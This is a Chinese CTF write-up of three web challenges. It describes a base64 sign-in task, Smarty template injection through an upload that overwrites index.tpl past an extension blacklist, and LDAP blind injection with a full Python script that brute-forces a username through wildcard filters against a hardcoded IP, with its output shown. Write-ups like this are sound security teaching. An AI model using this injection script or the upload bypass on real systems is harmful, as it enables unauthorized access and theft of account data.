[签到] flag

在这里插入图片描述

在这里插入图片描述
把得到的字符拼接再b64解码得到flag

odd_upload

在这里插入图片描述
题目环境中有一个文件上传功能,还可以指定保存路径,经过简单尝试后发现本题后端黑名单包括了php和apache配置文件,但是没有包括tpl模板文件
smarty框架的模板文件存放在/templates中,可以直接上传同名的index.tpl文件来覆盖原本的tpl文件进行模板注入

在这里插入图片描述

成功上传后访问index.php看看渲染的输出

在这里插入图片描述
直接在环境变量中找到flag

easyinject

在这里插入图片描述
打开题目是一个简单的登陆界面,在注释中找到一对用户名和密码
尝试登陆后,提示flag是一个特殊的用户名,由a-z0-9_组成,看到题目时都会想到需要sql盲注得到用户名,但是尝试各种payload后发现无效

在这里插入图片描述
经过尝试,当输入的值中含有括号时会产生如上报错,从报错信息中可知登陆信息是存储在LDAP数据库中的,关于LDAP的介绍可以看这位大佬的博客
LDAP的注入与防护

经过简单判断可以大致推测登陆的后端检验语句应该是这样的
(&(USER=Uname)(PASSWORD=Pwd))
&来连接两个条件对数据库中的数据进行查询
传入的值里面还可以使用通配符*
在这里插入图片描述
当传入这种用户名的时候依然可以登录成功

我们可以以此来进行布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import requests

url='http://47.106.172.144:2333/'
str='_0123456789abcdefghijklmnopqrstuvwxyz'
success='密码错误'

def left():
result='_*'
i=0
while(i<37):
c=str[i]
login={'user':f'*{c}'+result,'pass':123}
r=requests.get(url,params=login)
txt=r.text
i=i+1
if success in txt:
result=c+result
print(result)
i=0

def right():
result='*_'
i=0
while(i<37):
c=str[i]
login={'user':result+f'{c}*','pass':123}
r=requests.get(url,params=login)
txt=r.text
i=i+1
if success in txt:
result=result+c
print(result)
i=0

left()
right()
'''
output:
i_*
li_*
pli_*
apli_*
dapli_*
ldapli_*
*_1
*_1s
*_1s_
*_1s_v
*_1s_v3
*_1s_v3r
*_1s_v3ry
*_1s_v3ry_
*_1s_v3ry_e
*_1s_v3ry_ez

flag{ldapli_1s_v3ry_ez}
'''